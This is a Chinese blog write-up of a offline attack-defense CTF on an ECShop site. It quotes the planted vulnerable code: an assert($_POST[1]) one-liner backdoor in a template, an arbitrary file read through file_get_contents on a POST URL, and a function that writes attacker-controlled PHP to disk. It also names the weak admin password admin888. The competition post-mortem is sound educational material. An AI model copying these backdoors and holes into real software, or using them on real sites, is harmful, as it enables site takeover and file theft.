线下AWD被打指南

前几天跑去玩了玩安恒的线下AWD,被很多大佬吊打(物理)。

8849DB6CD4B9AEF5EED512322700E7A1.jpg

简单分析一下本次AWD的内容,顺便总结一下AWD要注意的一些事项。这次是比较基础的AWD,没有pwn,只有Web。

Start

比赛开始拿到自己机器,不是root权限,写文件有限制。Web服务是ECShop V2.7.3,AngelSword里查了一下,发现两个漏洞,但是都没有成功复现:

poc.png

己方服务器ip是10.50.20.2,推测出所有靶机地址,10.50.[1-37].2,10.50.0.2可能为NPC机。

提交和获取Flag都需要带上团队Token:

//获取flag
http://10.0.1.2?token=XXXXXXXX
//提交flag
https://192.168.37.180/match/WAR20/oapi?atn=answers&token=XXXXXXXX&flag=flag{}

赶紧把var/www/html拷贝了一份到本地,(由于经验不足,没有想办法备份数据库,导致后面的惨剧 ,嘤)同时打开D盾扫Shell,主办方的shell藏得挺好的,D盾扫不到。

waf装上去之后服务瞬间爆炸,赶紧恢复备份,还好check是从20分钟开始的,没有被扣分。

本次比赛时间很紧,总共只有3h。前半个多小时大家和平发育,除了几个队伍可能自己玩坏了自己服务,或者战略关闭服务器之外,没有任何一支队伍成功攻击。

php一句话

40分钟时,主办方给出第一个提示:

tip1.png

dwt是未渲染的模板文件,跟进发现:

<div class="con">{:assert($_POST[1])}
...
</div>

删掉即可。

文件读取

1h多时主办方直接在tips里给了exp…

exp1.png

定位:

sr32.png

switch ($row['media_type']) {
	//...
	case 4: // url
		$ads[] = file_get_contents($_POST['url']);
}

发现任意文件读取,因为参数本身就是url,且不清楚check的规则是什么,暂且直接删掉。

new exp

距离上次exp不到10分钟,又给了一个攻击流量,漏洞就是第一个放出来的auction_list模板内的一句话。

exp.png

删掉那句后门就行了。

文件写入

新提示

write.png

之前在AngelSword见到了uc的注入,但是不是mobile下的,对比mobile下和api下的uc.php:

sp180505_132349.png

发现多了一个writesth函数:

function writesth($get, $post){
    $cachefile = $this->appdir .$get['name'];
    $fp = fopen($cachefile, 'w');
    $s = "<?php\r\n";
    $s .= $get['content'];
    fwrite($fp, $s);
    fclose($fp);
    return API_RETURN_SUCCEED;
}

name和content均可控,直接写入即可,注意写入权限。

惨遭删库

最后一小时主办方给出最后一个提示

sp180505_133044.png

但是这时候我们发现自己的网站凉了…

惨遭删库.png

心里咯噔一下,数据库炸了?检查一下数据库发现…给人删库了…没备份数据库…naive了呀…目测是排名跟我们相近的队伍发现了SQL注入,把做了防御,他们队拿不到分的机器给炸了,一方面减缓高分队伍得分速度,另一方面让我们每5分钟扣100分。当时真的是想掏个emp啥的出来来一发无差别攻击…

现在回想起来,如果当时是有权限删除data目录文件的话,删掉lock文件,就可以重新安装cms,或者找到structure.sql也能恢复数据库了,当时手忙脚乱的没反应过来,果然还是太菜…

BTW,看了@一叶飘零 的wp,得知弱口令是admin888,发现我们字典里刚好没有…

复现环境之后再找找其他洞,找到会更新(2019.06.03更新:”咕”)。